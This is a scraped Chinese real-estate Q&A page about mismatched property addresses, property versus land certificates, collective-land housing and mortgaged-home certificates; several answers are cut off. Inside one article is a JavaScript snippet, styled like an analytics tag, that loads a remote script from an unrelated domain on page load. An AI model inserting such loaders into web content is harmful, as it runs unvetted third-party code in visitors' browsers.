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卜弘益
我想赶紧换个房子,中介说我们家物业地址跟房产证地址不一样,房子不能卖,只是真的吗?卖不出去旧房我也买不了新房啊,应该怎么办?
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问建委备案房子地址和房本地址不一致
答您好,地址不一致需要到建委更改地址,没有问题了才能保证核验房屋顺利通过,后面缴税,过户不受影响。签约可以按房本地址签,核验后变更合同地址,但是走手续之前务必
问房产证上的地址跟现在的街道名不一样,房子还能卖吗?
答新地址跟房产证上的信息有出入,房子可以卖,但是必须先换新房本。换新房本需要到房屋所在地房管局办理。需要携带房屋所有权身份证、房产证、派出所开具的地址一致证明
问房产证和土地证不一致怎么办?有人懂吗?
答不一样,土地证只是证明你的房屋拥有合法的土地使用权,如果是国有土地使用证,那么其上的房屋可以进行买卖、赠与、抵押、出租等;如果是集体土地(或宅基地),那么其
问房产证与土地证日期不一致,应以哪个为准?
答您好,一般情况下是先办房产证,然后拿着房本去办土地证,所以两个证件的日期不一样是正常的。另外咱们平时所说的住宅70年土地使用权,起算日期和房产证土地证都没什
问办房产证时结婚证的日期和身份证上的不一致可以办吗?
答可以的
集体用地的房子能办房产证吗
买房子应该算是我们人生中比较重要的事之一了,可以说直接关乎到我们生活的幸福。但现在的房价每天都在增长。让很多准备买房子的朋友因为资金的不足都想选择花费比较少的集体用地的房子。但很多朋友对这类房子有很多的问题不是很了解,比如集体用地的房子能办房产证吗?买集体用地的房子注意哪些事项?一起来看看吧。有句俗话叫不怕一万就怕万一。谁都无法保证买的房子以后不会出现问题,因为用地房所发生的纠纷不在少数。随着大家的安全意识不断增强,多数人都在关心自己的房子能否获得房产证。如果房子没有房产证,给购房的业主也带来各种潜在的风险。集体用地的房子能办房产证吗集体用地的房子一般都是建设在集体的土地上,是不能够办理土地使用证的,而且是不属于私有的财产也不能够上市进行交易。像集体用地房修建都是由区政府审批的,不用到房管局登记,所以居住者也没有房屋的完全独立产权,仅仅有农村集体房产权,即业内所称的乡产权,在某些乡村里,当地政府未经国家许可,便将村里的土地交给开发商,并由其建设并公开出售的商品房。土地归集体所有。在这类土地上建造房屋,不用交纳土地出让金等费用。法律规定,农民的住宅不得向城市居民出售,也不得批准城市居民占用农民集体土地建住宅,有关部门不得为违法建造和购买的住宅发放土地使用证和房产证。外来者如果购买了这类房屋,并不能享有房屋的产权,而是居住使用权。集体用地的房子能办房产证吗,买房前还是最好还是先咨询好相关的问题,另外建议大家买房的时候还是不要贪图便宜,而给自己以后的生活引来无尽的麻烦,到最后会钱房两不得就不好了,所以大家买房子前一定要理性。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
没有土地证的房子能贷款吗?土地证和房产证都是什么
如今,人们的消费观念逐渐进步,很多人在遇到在资金周转难题的时候往往会选择贷款,但是如果资金需求实在比较大的话,很多朋友就会选择利用房子来进行抵押贷款了。而对于房子抵押贷款来说,往往会需要土地证和房产证,那么到底什么是土地证?什么是房产证呢?没有土地证的房子能贷款吗?下面小编便主要围绕这些问题来跟大家介绍一下。一、什么是土地证?土地证,土地证的总称实际上是个人取得的“国有土地使用权证”,在《房地产管理法》中有明确规定,所购得的商品房应该具备“国有土地使用权证”即土地证和“房屋所有权证”即房产证。如果没有土地证在根本上维护自己的合法权益就很难。但这个土地证一般的购房者都不在意,也都未重视过,所以也基本没有领到过。但实际上,土地证和房产证有一样重要的地位。土地证是指经由土地使用者申请,后城市各级人民政府颁发的国有土地使用权的法律凭证,所以购房者在购房时一定要注意这一点。二、什么是房产证?房产证,实际上是指购房者通过交易,取得房屋的合法所有权,购房者可以依法对所购房屋进行占有,处分,收益,使用等权利。房产证是国家为了依法保护房屋所有权的合法凭证。房屋所有者可以凭着房产证使用或管理自己的房屋。同时,房产证包括房屋共有权证和房屋所有权证,在一般情况下,房产证是房屋所有权的简称,是经由不动产机关发放的证明房屋所有权归属的书面证明。三、没有土地证的房子能贷款吗?有房产证无土地证贷款在实际情况下是有一定难度,因为一些银行无法在土地使用权上知晓抵押权,这样就不能及时的规避风险。这样可能就会给贷款人造成一定的损失,所以最好就是能够将两个证收到一起再去贷款。其实,对于不同银行来说,针对房子抵押贷款这个问题,可能情况也会有所不同,大家可以到相关的银行进行实际情况的了解,相对来说会比较妥当一些。当然,如果想要利用房子来进行抵押贷款的话,有一些问题是需要我们注意的,比如我们要根据实际的经济情况出发,避免贷款之后却没有足够的实力进行还款,那样是很麻烦而且对个人的信用也可能会受到影响。
贷款的房子有房产证吗?会不会被扣留
现在住房问题已经成为了我们的首要问题,相信很多在外务工的人都想在自己工作的城市买一套属于自己的房子吧!然后这几年房价一直在上升,这样的局势给购房需求者带来了很大的经济压力。但是任何困难都是阻挡不了人们买房子的欲望,现在有很大一部分人选择了分期购房,这种方式可以让大家提前圆了住房梦,有人想问分期购房会不会给房产呢?这一问题估计困惑了大家很多人吧!接下来就由小编给大家说说吧!贷款的房子有房产证吗?会不会扣留?房产证开发商肯定会给你的,至于银行要不要暂行保管要看情况。1、开发商出售房屋,并交付买方使用后,应按相关规定及程序,在买卖合同约定期限内,协助买方办理《房地产权证》。你向开发商购房,及你向银行贷款,是两种关系。只要你支付了应支付的房款及购房相关费用和税费等,银行也将承诺借给你的房款支付给了开发商,履行了你与开发商签订的买卖合同中约定的义务的,开发商就应该按约定帮你办房产证。2、开发商办理好房产证后,首先会先给你的贷款银行。银行则根据他们的规定,或将证件由专门的部门和人员负责保管,或复印存档后,将房产证原件交还给你。以上说的2种做法,现在都有银行采用,具体看银行各自的规定。3、凡事房屋有抵押的房产证上,一般在他项权利人栏里有这样类似的话:X年X月X日抵押给XX银行XX支行,抵押权利值XXXXXX元。4、在办理有线电视、燃气、物业管理公司业主登记等等手续时,需要提供房产证原件的,标示已抵押的房屋不会影响你办理这些手续。如果你没有房产证原件的,可以用房产证复印件+贷款合同原件代替。你的银行贷款,并不影响你作为房屋业权人。那些部门要你提供那些资料,也不过是证明你是房屋业权人而已。关于分期贷款扣不扣留房产证这一问题大家现在应该有了一些了解了吧!一般情况下如果你有其他抵押的话就不会扣留你的房产证,但是有时候银行出于自己的利于考虑扣留你的房产证也是合理的,等到你的贷款还到一定的程度之后就会给你。当然了任何情况都有可能发生,小编只能告诉大家具体情况应该具体对待吧!所以大家不要过多的考虑这方面的一些事情。
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